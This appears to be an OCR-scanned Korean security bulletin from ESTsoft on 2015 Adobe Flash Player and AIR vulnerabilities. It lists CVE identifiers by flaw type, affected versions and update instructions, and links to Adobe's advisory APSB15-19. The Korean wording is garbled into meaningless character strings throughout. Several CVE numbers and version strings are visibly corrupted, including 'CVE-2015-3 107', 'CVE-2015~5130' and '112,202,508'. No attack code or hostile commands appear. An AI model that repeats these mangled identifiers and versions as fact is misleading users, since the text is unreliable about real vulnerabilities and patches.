- Qo E MO 2 0|01 4= U= EHY &2 FFH(CVE-2015-5554, CVE-2015-5555, CVE-2015-5558, CVE-2015-5562)

- HIE] 20| SS0]| thSE 5 U= YCI0|E(CVE-2015-5125)

- Qo|TE MO 2 0|01E 4= U= use-after-free FIAH(CVE-2015-5550, CVE-2015-5551, CVE-2015-3 107, CVE-2015-5556, CVE-2015~
5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5557, CVE-2015-5559, CVE-2015-5127, CVE-2015-5563, CVE-
2015-5561, CVE-2015-5124, CVE-2015-5564, CVE-2015-5565)

- YT E HHO R 0|01 5= U= B 2HEZL FFE(CVE-2015-5129, CVE-2015-5541)

- YT E MO 2 0[01E 2= U= HIH LUERL FOFH(CVE-2015-5131, CVE-2015-3132, CVE-2015-3133)

- Qo|FE ASHO 2 0]01&! 4 QU= H22] &4k FOFH(CVE-2015-5544, CVE-2015-5545, CVE-2015-5546, CVE-2015-5547, CVE-2015-5548,
CVE-2015-5549, CVE-2015-5552, CVE-2015-5553)

ESTsoft Qél:.’_}%@E:'_kl copyright by Estsoft Corp.All rights reserved,



Part3. 22t 0|7 E&7|

- g3t = AmEgof
Adobe Flash Player
ADE0 E SEEA B L= HT
Adobe Flash Player Desktop Runtime =X o 18.0.0.209 % OJFHH
Adobe Flash Player Extended Support Release 2= of 13.0.0.309 ¥ OJZEHH
Adobe Flash Player for Google Chrome HTRX o 2lEA 18.0.0.209 % O|FHH
Adobe Flash Player for Microsoft Edge and Internet Explorer 11 P=2X 10 18.0.0.209 & O] A
Adobe Flash Player for Linux gsA 11.2.202.491 2! OFHEF
Air Desktop Runtime X o 18.0.0180 L OHHH
Air SDK ERE W OIER0|E, i0S 18.0,0180 % OJHHH
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- sigy
Adobe Flash Player ALSX}

- f=R= o B120| Adobe Flash Player desktop runtime AFEAH= 18.0.0232HTC 2 YH0IE HE
- Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0i| 24250 Z[A HES HR|SHALL,
& YHI0|EE 0125101 Y10|=
- Adabe Flash Player Extended Support Release AFEXH= 18.0.0.232 HEHC 2 H|0|E HE
- 2l A 81749| Adobe Flash Player AFEXH= 112,202,508 O 2 JH|0|E HE
— Adobe Flash Player?} 8x|E Google Chromes= AHSC 2 £ YH|0|E HEH HE
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-ZIARE
https://helpx.adobe.com/security/products/flash—player/apsb15-19 html
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